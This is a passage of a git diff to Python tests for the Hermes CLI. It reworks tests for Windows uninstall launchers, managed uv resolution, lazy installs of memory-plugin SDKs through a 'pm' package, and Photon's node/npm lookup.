hermes_main._install_psutil_android_compat( - ["uv", "pip"], - env={"HERMES_TEST": "1"}, - ) - - assert captured["cmd"][:4] == ["uv", "pip", "install", "--no-build-isolation"] - assert captured["env"] == {"HERMES_TEST": "1"} - assert REPLACEMENT in str(captured["common_py"]) - - -def test_install_psutil_android_script_uses_patched_tree(tmp_path, monkeypatch, capsys): - """Standalone installer script should reuse the same safe patched tree.""" - archive = tmp_path / "psutil.tar.gz" - _build_psutil_archive(archive, malicious_symlink=False) - - import scripts.install_psutil_android as installer - - def fake_urlretrieve(url: str, dest: Path): - assert url == PSUTIL_URL - shutil.copyfile(archive, dest) - return str(dest), None - - def fake_subprocess_run(cmd: list[str]): - src_root = Path(cmd[-1]) - patched = (src_root / "psutil" / "_common.py").read_text(encoding="utf-8") - assert REPLACEMENT in patched - return type("RunResult", (), {"returncode": 0})() - - monkeypatch.setattr(installer.sys, "argv", ["install_psutil_android.py"]) - monkeypatch.setattr(installer, "_resolve_install_cmd", lambda *_args: ["python", "-m", "pip"]) - - with patch("urllib.request.urlretrieve", side_effect=fake_urlretrieve), \ - patch.object(installer.subprocess, "run", side_effect=fake_subprocess_run): - assert installer.main() == 0 - - captured = capsys.readouterr() - assert "psutil installed via Android compatibility shim" in captured.out diff --git a/tests/hermes_cli/test_uninstall_windows_bin_launchers.py b/tests/hermes_cli/test_uninstall_windows_bin_launchers.py index 179f92fec5..65d1c7af8b 100644 --- a/tests/hermes_cli/test_uninstall_windows_bin_launchers.py +++ b/tests/hermes_cli/test_uninstall_windows_bin_launchers.py @@ -1,11 +1,11 @@ """Uninstall must not leave a dangling ``hermes`` command on Windows. -Every uninstall mode deletes the code checkout, but the launchers install.ps1 -staged in the managed binary dir (the default Hermes root's ``bin``, shared -with the managed uv) live outside it. A surviving launcher makes ``hermes`` -in a new terminal resolve and then error on its missing venv target — worse -than command-not-found. The managed uv next to them must survive keep-data -uninstalls, so the PATH sweep takes the ``bin`` entry only on a full wipe. +Every uninstall mode deletes the code checkout, but the launcher copies +staged onto PATH in the managed binary dir (the default Hermes root's +``bin``) live outside it. A surviving launcher makes ``hermes`` in a new +terminal resolve and then error on its missing venv target — worse than +command-not-found. The dir is wholly hermes-owned (pm keeps uv in its own +store entry), so the sweep takes everything in it. Platform verdicts are injected parameters (input→output, not host fakes). """ @@ -16,32 +16,25 @@ from pathlib import Path import pytest from hermes_cli import uninstall -from hermes_cli._install_repair import _WINDOWS_BIN_LAUNCHERS @pytest.fixture def managed_bin(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path: - """Default-root ``bin`` holding launchers of both forms plus managed uv.""" + """Default-root ``bin`` holding staged launcher copies.""" home = tmp_path / "hermes" bin_dir = home / "bin" bin_dir.mkdir(parents=True) (bin_dir / "hermes.exe").write_bytes(b"MZ launcher") (bin_dir / "hermes-acp.cmd").write_text("@echo off\r\n", encoding="ascii") - (bin_dir / "uv.exe").write_bytes(b"MZ managed uv") - (bin_dir / "uvx.exe").write_bytes(b"MZ managed uvx") monkeypatch.setenv("HERMES_HOME", str(home)) return bin_dir -def test_removes_both_launcher_forms_and_keeps_managed_uv(managed_bin: Path): +def test_removes_the_whole_managed_bin_dir(managed_bin: Path): removed = uninstall.remove_windows_bin_launchers(windows=True) assert sorted(p.name for p in removed) == ["hermes-acp.cmd", "hermes.exe"] - assert not (managed_bin / "hermes.exe").exists() - assert not (managed_bin / "hermes-acp.cmd").exists() - # The managed uv stays — keep-data reinstalls still need it. - assert (managed_bin / "uv.exe").exists() - assert (managed_bin / "uvx.exe").exists() + assert not managed_bin.exists() def test_anchors_on_default_root_not_profile_home( @@ -63,54 +56,9 @@ def test_noop_on_posix(managed_bin: Path): assert (managed_bin / "hermes.exe").exists() -def test_noop_when_no_launchers_staged(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): +def test_noop_when_no_bin_dir(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): home = tmp_path / "hermes" home.mkdir() monkeypatch.setenv("HERMES_HOME", str(home)) assert uninstall.remove_windows_bin_launchers(windows=True) == [] - - -def test_launcher_names_stay_in_lockstep_with_install_ps1(): - """The sweep must cover exactly the names install.ps1 stages, and no - generic name it could clobber. Reads the real installer list so the two - sides cannot drift apart silently.""" - import re - - install_ps1 = ( - Path(uninstall.__file__).resolve().parents[1] / "scripts" / "install.ps1" - ).read_text(encoding="ascii") - match = re.search(r"foreach \(\$launcher in @\(([^)]*)\)\)", install_ps1) - assert match, "launcher staging loop not found in install.ps1" - staged = set(re.findall(r'"([^"]+)"', match.group(1))) - - assert staged == set(_WINDOWS_BIN_LAUNCHERS) - for name in _WINDOWS_BIN_LAUNCHERS: - assert name.startswith("hermes") # never a generic name it could clobber - - -class TestManagedBinPathMarker: - """The managed ``bin`` PATH entry goes only when the dir itself goes. - - Markers match against Windows registry PATH entries, so the inputs here - are Windows-shaped path strings regardless of the host — feeding - ``tmp_path`` would make the test pass only on Windows hosts. - """ - - HOME = r"C:\Users\me\AppData\Local\hermes" - BIN_ENTRY = r"C:\Users\me\AppData\Local\hermes\bin" - - def test_keep_data_markers_spare_the_managed_bin(self): - markers = [m.lower() for m in uninstall._hermes_path_markers(Path(self.HOME))] - - assert not any(self.BIN_ENTRY.lower().startswith(m) for m in markers) - - def test_full_wipe_markers_take_the_managed_bin(self): - markers = [ - m.lower() - for m in uninstall._hermes_path_markers( - Path(self.HOME), include_managed_bin=True - ) - ] - - assert any(self.BIN_ENTRY.lower().startswith(m) for m in markers) diff --git a/tests/hermes_cli/test_update_autostash.py b/tests/hermes_cli/test_update_autostash.py index 6a0d743412..9be7aa8207 100644 --- a/tests/hermes_cli/test_update_autostash.py +++ b/tests/hermes_cli/test_update_autostash.py @@ -12,32 +12,15 @@ from hermes_cli import main as hermes_main # --------------------------------------------------------------------------- # Managed-uv compatibility for tests that patch shutil.which # --------------------------------------------------------------------------- -# The production code now uses ``ensure_uv()`` / ``update_managed_uv()`` -# instead of ``shutil.which("uv")``. Many tests in this file patch -# ``shutil.which`` to control whether uv is "available" — these autouse -# fixtures make the managed_uv functions delegate to the patched -# ``shutil.which`` so the existing test setup keeps working without -# per-test changes. +# The production code resolves uv through ``pm.uv()`` instead of +# ``shutil.which("uv")``. Many tests in this file patch ``shutil.which`` +# to control whether uv is "available" — this autouse fixture makes +# pm.uv delegate to the patched ``shutil.which`` so the existing test +# setup keeps working without per-test changes. @pytest.fixture(autouse=True) -def _patch_managed_uv(request): - """Make managed_uv helpers follow shutil.which mocking in tests.""" - import shutil - - # resolve_uv delegates to shutil.which("uv") so that test patches - # on shutil.which flow through naturally. - def _fake_resolve_uv(**kwargs): - return shutil.which("uv") - - def _fake_ensure_uv(**kwargs): - return shutil.which("uv") - - def _fake_update_managed_uv(**kwargs): - return None # never actually self-update in tests - - with patch("hermes_cli.managed_uv.resolve_uv", side_effect=_fake_resolve_uv), \ - patch("hermes_cli.managed_uv.ensure_uv", side_effect=_fake_ensure_uv), \ - patch("hermes_cli.managed_uv.update_managed_uv", side_effect=_fake_update_managed_uv): - yield +def _patch_managed_uv(request, patch_pm_uv_to_shutil_which): + """Make pm.uv follow shutil.which mocking in tests.""" + yield @@ -65,7 +48,6 @@ def _setup_update_mocks(monkeypatch, tmp_path): monkeypatch.setattr(hermes_config, "get_missing_config_fields", lambda: []) monkeypatch.setattr(hermes_config, "check_config_version", lambda: (5, 5)) monkeypatch.setattr(hermes_config, "migrate_config", lambda **kw: {"env_added": [], "config_added": []}) - monkeypatch.setattr(hermes_main, "_upgrade_pip_before_lazy_refresh", lambda *a, **kw: None) monkeypatch.setattr(hermes_main, "_refresh_active_lazy_features", lambda *a, **kw: True) diff --git a/tests/hermes_cli/test_update_skip_unchanged_editable_install.py b/tests/hermes_cli/test_update_skip_unchanged_editable_install.py deleted file mode 100644 index afdb386ee3..0000000000 --- a/tests/hermes_cli/test_update_skip_unchanged_editable_install.py +++ /dev/null @@ -1,108 +0,0 @@ -"""``hermes update`` skips the editable reinstall when the pull can't affect it. - -``uv pip install -e .`` never audits an editable target — it reinstalls on -every invocation and rewrites the console-script shims each time. On Windows -that rewrite is the only reason the running ``hermes.exe`` gets quarantined, -and a quarantine that loses its race is the ``os error 32`` family. The gate -under test removes the reinstall (and therefore the rename) for any update -that touches none of the files defining the install. - -These tests drive a REAL git repository. The predicate is a ``git diff`` -pathspec against the pre-pull SHA; mocking git would assert our idea of what -git prints rather than what it does. -""" - -import subprocess - -import pytest - -from hermes_cli.update_cmd import _editable_install_is_current - -GIT = ["git"] - - -@pytest.fixture -def repo(tmp_path): - """A repo with one commit, standing in for the pre-pull checkout.""" - subprocess.run(GIT + ["init", "-q", "-b", "main"], cwd=tmp_path, check=True) - subprocess.run( - GIT + ["config", "user.email", "t@example.com"], cwd=tmp_path, check=True - ) - subprocess.run(GIT + ["config", "user.name", "t"], cwd=tmp_path, check=True) - (tmp_path / "pyproject.toml").write_text("[project]\nname = 'hermes'\n") - (tmp_path / "agent").mkdir() - (tmp_path / "agent" / "__init__.py").write_text("") - (tmp_path / "cli.py").write_text("x = 1\n") - subprocess.run(GIT + ["add", "-A"], cwd=tmp_path, check=True) - subprocess.run(GIT + ["commit", "-qm", "base"], cwd=tmp_path, check=True) - return tmp_path - - -def _head(cwd): - return subprocess.run( - GIT + ["rev-parse", "HEAD"], cwd=cwd, capture_output=True, text=True, check=True - ).stdout.strip() - - -def _commit(cwd, message): - subprocess.run(GIT + ["add", "-A"], cwd=cwd, check=True) - subprocess.run(GIT + ["commit", "-qm", message], cwd=cwd, check=True) - - -def test_source_only_pull_skips_the_reinstall(repo): - """The common update: .py churn inside already-mapped packages.""" - before = _head(repo) - (repo / "cli.py").write_text("x = 2\n") - (repo / "agent" / "loop.py").write_text("y = 1\n") - _commit(repo, "source churn") - - assert _editable_install_is_current(GIT, repo, before) is True - - -def test_new_submodule_in_mapped_package_skips_the_reinstall(repo): - """A new file inside an existing package resolves through its __path__.""" - before = _head(repo) - (repo / "agent" / "brand_new.py").write_text("z = 1\n") - _commit(repo, "new submodule") - - assert _editable_install_is_current(GIT, repo, before) is True - - -@pytest.mark.parametrize( - "filename", - ["pyproject.toml", "setup.py", "setup.cfg", "MANIFEST.in", "uv.lock"], -) -def test_touching_a_file_that_defines_the_install_forces_the_reinstall(repo, filename): - """Dependencies, entry points and the static module list all live here.""" - before = _head(repo) - (repo / filename).write_text("# changed\n") - _commit(repo, f"touch {filename}") - - assert _editable_install_is_current(GIT, repo, before) is False - - -def test_source_churn_alongside_a_pyproject_edit_still_reinstalls(repo): - """The gate must not be fooled by burying the pyproject diff in noise.""" - before = _head(repo) - (repo / "cli.py").write_text("x = 3\n") - (repo / "pyproject.toml").write_text("[project]\nname = 'hermes'\ndeps = []\n") - _commit(repo, "mixed") - - assert _editable_install_is_current(GIT, repo, before) is False - - -def test_missing_pre_pull_sha_fails_closed(repo): - """No SHA (ZIP swap, capture failure) means we cannot prove anything.""" - assert _editable_install_is_current(GIT, repo, None) is False - assert _editable_install_is_current(GIT, repo, "") is False - - -def test_unresolvable_pre_pull_sha_fails_closed(repo): - """A shallow checkout whose base commit isn't present reinstalls as before.""" - assert _editable_install_is_current(GIT, repo, "0" * 40) is False - - -def test_unusable_git_fails_closed(repo): - """A git that cannot be executed must not be read as 'nothing changed'.""" - before = _head(repo) - assert _editable_install_is_current(["definitely-not-git"], repo, before) is False diff --git a/tests/hermes_cli/test_update_zip_two_phase.py b/tests/hermes_cli/test_update_zip_two_phase.py index ef4681ddb0..e57ed00762 100644 --- a/tests/hermes_cli/test_update_zip_two_phase.py +++ b/tests/hermes_cli/test_update_zip_two_phase.py @@ -150,13 +150,6 @@ def test_venv_helpers_are_platform_consistent(): assert (bin_name, exe_name) in {("Scripts", "python.exe"), ("bin", "python")} -def test_managed_uv_helper_delegates_to_the_shared_one(): - from hermes_cli.managed_uv import _venv_python - - v = Path("/opt/proj/venv") - assert _venv_python(v) == venv_python_path(v) - - def test_no_open_coded_venv_layout_remains_in_hermes_cli(): """Fails if a new call site hand-rolls Scripts/bin again (#76105). diff --git a/tests/plugins/memory/test_hindsight_provider.py b/tests/plugins/memory/test_hindsight_provider.py index 475e3adb37..b8fe91a7b4 100644 --- a/tests/plugins/memory/test_hindsight_provider.py +++ b/tests/plugins/memory/test_hindsight_provider.py @@ -124,8 +124,8 @@ def _assert_cloud_client_lazy_installed_before_import(tmp_path, monkeypatch, mod provider = _provider_for_mode(tmp_path, monkeypatch, mode) ensure_calls = [] - def fake_ensure(feature, prompt=True): - ensure_calls.append((feature, prompt)) + def fake_ensure(extra): + ensure_calls.append(extra) class FakeHindsight: def __init__(self, **kwargs): @@ -135,17 +135,17 @@ def _assert_cloud_client_lazy_installed_before_import(tmp_path, monkeypatch, mod def guarded_import(name, globals=None, locals=None, fromlist=(), level=0): if name == "hindsight_client": - if ensure_calls != [("memory.hindsight", False)]: + if ensure_calls != ["hindsight"]: raise ModuleNotFoundError("No module named 'hindsight_client'") return SimpleNamespace(Hindsight=FakeHindsight) return real_import(name, globals, locals, fromlist, level) - monkeypatch.setattr("tools.lazy_deps.ensure", fake_ensure) + monkeypatch.setattr("pm.ensure_import", fake_ensure) monkeypatch.setattr(builtins, "__import__", guarded_import) client = provider._get_client() - assert ensure_calls == [("memory.hindsight", False)] + assert ensure_calls == ["hindsight"] assert isinstance(client, FakeHindsight) assert client.kwargs == { "base_url": "http://localhost:9999", @@ -1556,12 +1556,9 @@ class TestPostSetupEnvEncoding: monkeypatch.setattr("hermes_cli.memory_setup._curses_select", lambda *a, **kw: 0) # cloud mode monkeypatch.setattr("hermes_cli.config.save_config", lambda c: None) - # Skip the dependency install (now routed through lazy_deps, NS-605). - import tools.lazy_deps as lazy_deps_mod - monkeypatch.setattr( - lazy_deps_mod, "install_specs", - lambda *a, **kw: lazy_deps_mod.InstallSpecsResult(ok=True), - ) + # Skip the dependency install (now routed through pm). + import pm + monkeypatch.setattr(pm, "sync_venv", lambda *a, **kw: None) # First line: API key prompt (readline). Second line: API URL (input). monkeypatch.setattr(sys, "stdin", io.StringIO("sk-new\n\n")) @@ -1583,16 +1580,16 @@ class TestPostSetupEnvEncoding: assert "" not in content -class TestClientAutoUpgradeRoutesThroughLazyDeps: +class TestClientAutoUpgradeRoutesThroughPm: """The initialize()-time hindsight-client auto-upgrade must go through - lazy_deps.install_specs() (environment-aware, durable-target on sealed - hosted venvs) — never a direct `uv pip install --python sys.executable` - subprocess, which fails with EROFS/EACCES on immutable images (NS-605).""" + pm.sync_venv (uv.lock owns the pin) — never a direct + `uv pip install --python sys.executable` subprocess, which fails with + EROFS/EACCES on immutable images (NS-605).""" - def _init_with_outdated_client(self, tmp_path, monkeypatch, outcome): + def _init_with_outdated_client(self, tmp_path, monkeypatch, error=None): import importlib.metadata as md import subprocess as subprocess_mod - import tools.lazy_deps as lazy_deps_mod + import pm config_path = tmp_path / "hindsight" / "config.json" config_path.parent.mkdir(parents=True, exist_ok=True) @@ -1605,10 +1602,13 @@ class TestClientAutoUpgradeRoutesThroughLazyDeps: monkeypatch.setattr(md, "version", lambda name: "0.0.1") calls = [] - monkeypatch.setattr( - lazy_deps_mod, "install_specs", - lambda specs, **kw: calls.append(tuple(specs)) or outcome, - ) + + def fake_sync(extras=None, **kw): + calls.append(tuple(extras or ())) + if error is not None: + raise error + + monkeypatch.setattr(pm, "sync_venv", fake_sync) # Regression guard: no direct pip subprocess may run. def _no_subprocess(*a, **kw): # pragma: no cover - fails loudly @@ -1619,26 +1619,23 @@ class TestClientAutoUpgradeRoutesThroughLazyDeps: provider.initialize(session_id="s", hermes_home=str(tmp_path), platform="cli") return calls - def test_upgrade_uses_install_specs_not_subprocess(self, tmp_path, monkeypatch): - from plugins.memory.hindsight import _MIN_CLIENT_VERSION - from tools.lazy_deps import InstallSpecsResult - - calls = self._init_with_outdated_client( - tmp_path, monkeypatch, InstallSpecsResult(ok=True) - ) - assert calls == [(f"hindsight-client>={_MIN_CLIENT_VERSION}",)] + def test_upgrade_syncs_extra_not_subprocess(self, tmp_path, monkeypatch): + calls = self._init_with_outdated_client(tmp_path, monkeypatch) + assert calls == [("hindsight",)] def test_blocked_upgrade_is_nonfatal_and_surfaces_reason( self, tmp_path, monkeypatch, caplog ): import logging - from tools.lazy_deps import InstallSpecsResult + + import pm as pm_pkg with caplog.at_level(logging.WARNING): calls = self._init_with_outdated_client( tmp_path, monkeypatch, - InstallSpecsResult(ok=False, blocked=True, - reason="runtime installs are disabled on this deployment"), + error=pm_pkg.InstallError( + "venv", "runtime installs are disabled on this deployment" + ), ) assert len(calls) == 1 # attempted exactly once, init still completed assert any("runtime installs are disabled" in r.getMessage() diff --git a/tests/plugins/memory/test_mem0_v3.py b/tests/plugins/memory/test_mem0_v3.py index 48d66d480b..7de8b17e41 100644 --- a/tests/plugins/memory/test_mem0_v3.py +++ b/tests/plugins/memory/test_mem0_v3.py @@ -359,7 +359,7 @@ class TestCreateBackendRouting: def _provider(self, monkeypatch, *, mode="platform", api_key="k", host=""): # Neutralize lazy-install so the routing decision is all we exercise. - monkeypatch.setattr("tools.lazy_deps.ensure", lambda *a, **k: None, raising=False) + monkeypatch.setattr("pm.ensure_import", lambda *a, **k: None, raising=False) provider = Mem0MemoryProvider() provider._mode = mode provider._api_key = api_key diff --git a/tests/plugins/memory/test_memory_lazy_install.py b/tests/plugins/memory/test_memory_lazy_install.py index 52dcbbf057..bc967450e0 100644 --- a/tests/plugins/memory/test_memory_lazy_install.py +++ b/tests/plugins/memory/test_memory_lazy_install.py @@ -3,97 +3,69 @@ their SDKs like honcho/hindsight. Both providers ship a third-party SDK (``supermemory`` / ``mem0ai``) that is NOT a core dependency. Before this fix they imported the SDK directly with no -``tools.lazy_deps.ensure()`` preflight and had no ``LAZY_DEPS`` allowlist -entry. On the published Docker image the agent venv is sealed -(``HERMES_DISABLE_LAZY_INSTALLS=1``) and lazy installs are redirected to a -writable durable target (``HERMES_LAZY_INSTALL_TARGET``). honcho/hindsight -route through ``ensure()`` and therefore install fine on a hosted instance; -supermemory/mem0 never called it, so the SDK was never installed there and -the provider silently reported itself unavailable. +``pm.ensure_import()`` preflight and had no extras mapping, so on hosted +instances the SDK was never installed and the provider silently reported +itself unavailable. These tests pin the contract: -1. Both features are in the ``LAZY_DEPS`` allowlist (without an entry, - ``ensure()`` raises ``FeatureUnavailable`` — the original silent-dark bug). -2. Each provider's SDK-import chokepoint actually calls ``ensure()``. +1. Both features are pyproject extras with an anchor in ``pm.extras.ANCHORS`` + (without a mapping, ``ensure_import()`` can't resolve the anchor import + that proves the extra is installed — the original silent-dark bug). +2. Each provider's SDK-import chokepoint actually calls + ``ensure_import()``. 3. supermemory's ``is_available()`` no longer gates on the SDK being importable (the chicken-and-egg trap that stopped the provider loading at - all on a sealed venv, so ``initialize()``/``ensure()`` never ran). -4. The real sealed-venv durable-target gate accepts the new features (the - exact hosted-Fly condition the user hit). - -The pip subprocess is never actually run — ``_venv_pip_install`` / -``_is_satisfied`` are stubbed so we exercise the real ``ensure()`` control -flow without touching PyPI. + all on a sealed venv, so ``initialize()``/``ensure_import()`` never ran). """ from __future__ import annotations -import os - import pytest -import tools.lazy_deps as ld +import pm +from pm.extras import ANCHORS -MEMORY_FEATURES = ("memory.supermemory", "memory.mem0") +MEMORY_EXTRAS = {"supermemory": "supermemory", "mem0": "mem0"} # --------------------------------------------------------------------------- -# 1. Allowlist contract — the core regression. +# 1. Extras contract — the core regression. # --------------------------------------------------------------------------- -class TestAllowlistEntries: - @pytest.mark.parametrize("feature", MEMORY_FEATURES) - def test_feature_is_allowlisted(self, feature): - # Without an allowlist entry, ensure() raises FeatureUnavailable with - # "not in LAZY_DEPS" — which is exactly why the SDK never installed on - # a hosted instance before this fix. - assert feature in ld.LAZY_DEPS, ( - f"{feature!r} missing from LAZY_DEPS — its SDK can never " - f"lazy-install on a sealed Docker venv." +class TestExtrasAnchors: + @pytest.mark.parametrize("extra,anchor", sorted(MEMORY_EXTRAS.items())) + def test_extra_has_anchor(self, extra, anchor): + # Without an anchor mapping, pm can't tell whether the extra is + # installed, and ensure_import() can't prove a successful install. + assert ANCHORS.get(extra) == anchor, ( + f"{extra!r} missing/wrong in pm.extras.ANCHORS — its SDK can " + f"never lazy-install on a hosted instance." ) - def test_supermemory_spec_package(self): - specs = ld.LAZY_DEPS["memory.supermemory"] - assert any(ld._pkg_name_from_spec(s) == "supermemory" for s in specs) - - def test_mem0_spec_package(self): - # mem0's pip package is ``mem0ai`` (imports as ``mem0``). - specs = ld.LAZY_DEPS["memory.mem0"] - assert any(ld._pkg_name_from_spec(s) == "mem0ai" for s in specs) - - @pytest.mark.parametrize("feature", MEMORY_FEATURES) - def test_unknown_feature_would_raise_without_entry(self, feature, monkeypatch): - # Demonstrate the failure mode the allowlist entry prevents: a feature - # NOT in LAZY_DEPS raises rather than installing. - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"): - ld.ensure(feature + ".typo", prompt=False) - - # --------------------------------------------------------------------------- -# 2. Import sites call ensure(). +# 2. Import sites call ensure_import(). # --------------------------------------------------------------------------- class TestSupermemoryEnsureCalled: def test_client_construction_calls_ensure(self, monkeypatch): - """_SupermemoryClient.__init__ must call ensure('memory.supermemory') + """_SupermemoryClient.__init__ must call ensure_import('supermemory') before importing the SDK.""" from plugins.memory.supermemory import _SupermemoryClient calls = [] monkeypatch.setattr( - ld, "ensure", - lambda feature, **kw: calls.append((feature, kw)), + pm, "ensure_import", + lambda extra: calls.append(extra), ) # Stub the SDK so construction doesn't need the real package. The # client does ``from supermemory import Supermemory`` right after - # ensure(); inject a fake module. + # ensure_import(); inject a fake module. import sys import types @@ -103,27 +75,27 @@ class TestSupermemoryEnsureCalled: _SupermemoryClient(api_key="k", timeout=5.0, container_tag="hermes") - assert ("memory.supermemory", {"prompt": False}) in calls, ( - "supermemory client did not call ensure('memory.supermemory', " - f"prompt=False); calls={calls}" + assert "supermemory" in calls, ( + "supermemory client did not call ensure_import('supermemory'); " + f"calls={calls}" ) class TestMem0EnsureCalled: def test_create_backend_calls_ensure(self, monkeypatch): - """SupermemoryMemoryProvider-style mem0 provider must call - ensure('memory.mem0') in _create_backend before importing the SDK.""" + """The mem0 provider must call ensure_import('mem0') in + _create_backend before importing the SDK.""" from plugins.memory.mem0 import Mem0MemoryProvider calls = [] monkeypatch.setattr( - ld, "ensure", - lambda feature, **kw: calls.append((feature, kw)), + pm, "ensure_import", + lambda extra: calls.append(extra), ) prov = Mem0MemoryProvider() # Platform mode is the default; force a known mode and stub the backend - # import so we isolate the ensure() call. + # import so we isolate the ensure_import() call. prov._mode = "platform" prov._api_key = "k" @@ -139,9 +111,9 @@ class TestMem0EnsureCalled: prov._create_backend() - assert ("memory.mem0", {"prompt": False}) in calls, ( - f"mem0 _create_backend did not call ensure('memory.mem0', " - f"prompt=False); calls={calls}" + assert "mem0" in calls, ( + f"mem0 _create_backend did not call ensure_import('mem0'); " + f"calls={calls}" ) @@ -154,7 +126,7 @@ class TestSupermemoryIsAvailable: def test_available_with_key_even_when_sdk_absent(self, monkeypatch): """With the key set but the SDK not importable, is_available() must still return True — otherwise the provider never loads on a sealed - venv and ensure() (which installs the SDK) never runs.""" + venv and ensure_import() (which installs the SDK) never runs.""" from plugins.memory.supermemory import SupermemoryMemoryProvider import builtins @@ -180,71 +152,3 @@ class TestSupermemoryIsAvailable: monkeypatch.delenv("SUPERMEMORY_API_KEY", raising=False) prov = SupermemoryMemoryProvider() assert prov.is_available() is False - - -# --------------------------------------------------------------------------- -# 4. Real sealed-venv durable-target gate accepts the new features. -# -# This is the exact hosted-Fly condition: HERMES_DISABLE_LAZY_INSTALLS=1 seals -# the venv, but HERMES_LAZY_INSTALL_TARGET redirects installs to a writable -# durable dir, so installs are still ALLOWED. We exercise the real -# _allow_lazy_installs() + ensure() flow end-to-end with only the pip -# subprocess stubbed. -# --------------------------------------------------------------------------- - - -class TestSealedVenvDurableTarget: - @pytest.mark.parametrize("feature", MEMORY_FEATURES) - def test_ensure_installs_into_durable_target_on_sealed_venv( - self, feature, monkeypatch, tmp_path - ): - # Sealed venv + durable target = the published Docker image config. - monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1") - monkeypatch.setenv("HERMES_LAZY_INSTALL_TARGET", str(tmp_path / "lazy")) - # config.yaml kill-switch left at default (allow). - monkeypatch.setattr( - "hermes_cli.config.load_config", - lambda: {"security": {"allow_lazy_installs": True}}, - ) - - # Real gate must permit installs because a durable target is set. - assert ld._allow_lazy_installs() is True, ( - "sealed venv WITH a durable target must allow installs — this is " - "the path honcho/hindsight use on hosted Fly instances" - ) - - # Drive ensure(): missing first, satisfied after the (stubbed) install. - states = iter([False, True]) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: next(states)) - - captured = {} - - def fake_install(specs, **kw): - captured["specs"] = specs - captured["target_env"] = os.environ.get("HERMES_LAZY_INSTALL_TARGET") - return ld._InstallResult(True, "ok", "") - - monkeypatch.setattr(ld, "_venv_pip_install", fake_install) - - ld.ensure(feature, prompt=False) # must not raise - - assert captured.get("specs") == ld.LAZY_DEPS[feature] - assert captured.get("target_env"), ( - "install ran without the durable target env set" - ) - - @pytest.mark.parametrize("feature", MEMORY_FEATURES) - def test_sealed_venv_without_target_blocks(self, feature, monkeypatch): - # Sealed venv and NO durable target → installs blocked (can't mutate - # the sealed venv). Belt-and-suspenders: confirms the gate still - # protects the seal for these features. - monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1") - monkeypatch.delenv("HERMES_LAZY_INSTALL_TARGET", raising=False) - monkeypatch.setattr( - "hermes_cli.config.load_config", - lambda: {"security": {"allow_lazy_installs": True}}, - ) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) - - with pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"): - ld.ensure(feature, prompt=False) diff --git a/tests/plugins/memory/test_supermemory_provider.py b/tests/plugins/memory/test_supermemory_provider.py index 0aea3b9fc2..56d750f03b 100644 --- a/tests/plugins/memory/test_supermemory_provider.py +++ b/tests/plugins/memory/test_supermemory_provider.py @@ -312,7 +312,7 @@ def test_client_passes_custom_base_url_to_sdk(monkeypatch): module = types.ModuleType("supermemory") module.Supermemory = StubSupermemory monkeypatch.setitem(sys.modules, "supermemory", module) - monkeypatch.setattr("tools.lazy_deps.ensure", lambda *args, **kwargs: None) + monkeypatch.setattr("pm.ensure_import", lambda *args, **kwargs: None) client = _SupermemoryClient( api_key="test-key", diff --git a/tests/plugins/platforms/photon/test_inbound.py b/tests/plugins/platforms/photon/test_inbound.py index 44da57bc23..b5ccc79766 100644 --- a/tests/plugins/platforms/photon/test_inbound.py +++ b/tests/plugins/platforms/photon/test_inbound.py @@ -122,9 +122,13 @@ def test_is_duplicate_window(monkeypatch: pytest.MonkeyPatch) -> None: def test_check_requirements_without_node(monkeypatch: pytest.MonkeyPatch) -> None: - # If no node binary on PATH the adapter should refuse to start. + # If no node binary is resolvable — neither in the pm store nor on PATH — + # the adapter should refuse to start. Resolution is pm-store-first + # (_node_command → find_node_executable) with shutil.which as fallback, + # so both must return None to model a machine with no node at all. from plugins.platforms.photon import adapter as adapter_mod + monkeypatch.setattr(adapter_mod, "_node_command", lambda _name: None) monkeypatch.setattr(adapter_mod.shutil, "which", lambda _name: None) assert adapter_mod.check_requirements() is False diff --git a/tests/plugins/platforms/photon/test_npm_error_log_regression.py b/tests/plugins/platforms/photon/test_npm_error_log_regression.py index c3c6dda51a..69613b2607 100644 --- a/tests/plugins/platforms/photon/test_npm_error_log_regression.py +++ b/tests/plugins/platforms/photon/test_npm_error_log_regression.py @@ -36,7 +36,7 @@ def test_regression_return_code_zero_on_success( monkeypatch: pytest.MonkeyPatch, tmp_path: Path ) -> None: """_install_sidecar() must still return 0 on npm success.""" - monkeypatch.setattr(cli_mod.shutil, "which", lambda _: "/usr/bin/npm") + monkeypatch.setattr(cli_mod, "_node_command", lambda _: "/usr/bin/npm") monkeypatch.setattr( cli_mod.subprocess, "run", lambda cmd, **kw: types.SimpleNamespace(returncode=0, stderr=""), @@ -68,7 +68,7 @@ def test_regression_oserror_on_log_write_does_not_propagate( def exists(self): return False - monkeypatch.setattr(cli_mod.shutil, "which", lambda _: "/usr/bin/npm") + monkeypatch.setattr(cli_mod, "_node_command", lambda _: "/usr/bin/npm") monkeypatch.setattr( cli_mod.subprocess, "run", lambda cmd, **kw: types.SimpleNamespace(returncode=1, stderr="npm ERR!"), @@ -94,7 +94,7 @@ def test_regression_empty_stderr_does_not_write_log( """If npm fails but stderr is empty (some npm versions), _NPM_ERROR_LOG must NOT be written — an empty file would mislead check_requirements().""" error_log = tmp_path / ".photon-npm-error.log" - monkeypatch.setattr(cli_mod.shutil, "which", lambda _: "/usr/bin/npm") + monkeypatch.setattr(cli_mod, "_node_command", lambda _: "/usr/bin/npm") monkeypatch.setattr( cli_mod.subprocess, "run", lambda cmd, **kw: types.SimpleNamespace(returncode=1, stderr=""), @@ -124,7 +124,7 @@ def test_regression_permissionerror_on_success_unlink_does_not_propagate( def unlink(self, *a, **kw): raise PermissionError("access denied") - monkeypatch.setattr(cli_mod.shutil, "which", lambda _: "/usr/bin/npm") + monkeypatch.setattr(cli_mod, "_node_command", lambda _: "/usr/bin/npm") monkeypatch.setattr( cli_mod.subprocess, "run", lambda cmd, **kw: types.SimpleNamespace(returncode=0, stderr=""), @@ -144,7 +144,7 @@ def test_regression_long_stderr_truncated_before_write( error_log = tmp_path / ".photon-npm-error.log" huge_stderr = "npm ERR! " + ("x" * 10_000) - monkeypatch.setattr(cli_mod.shutil, "which", lambda _: "/usr/bin/npm") + 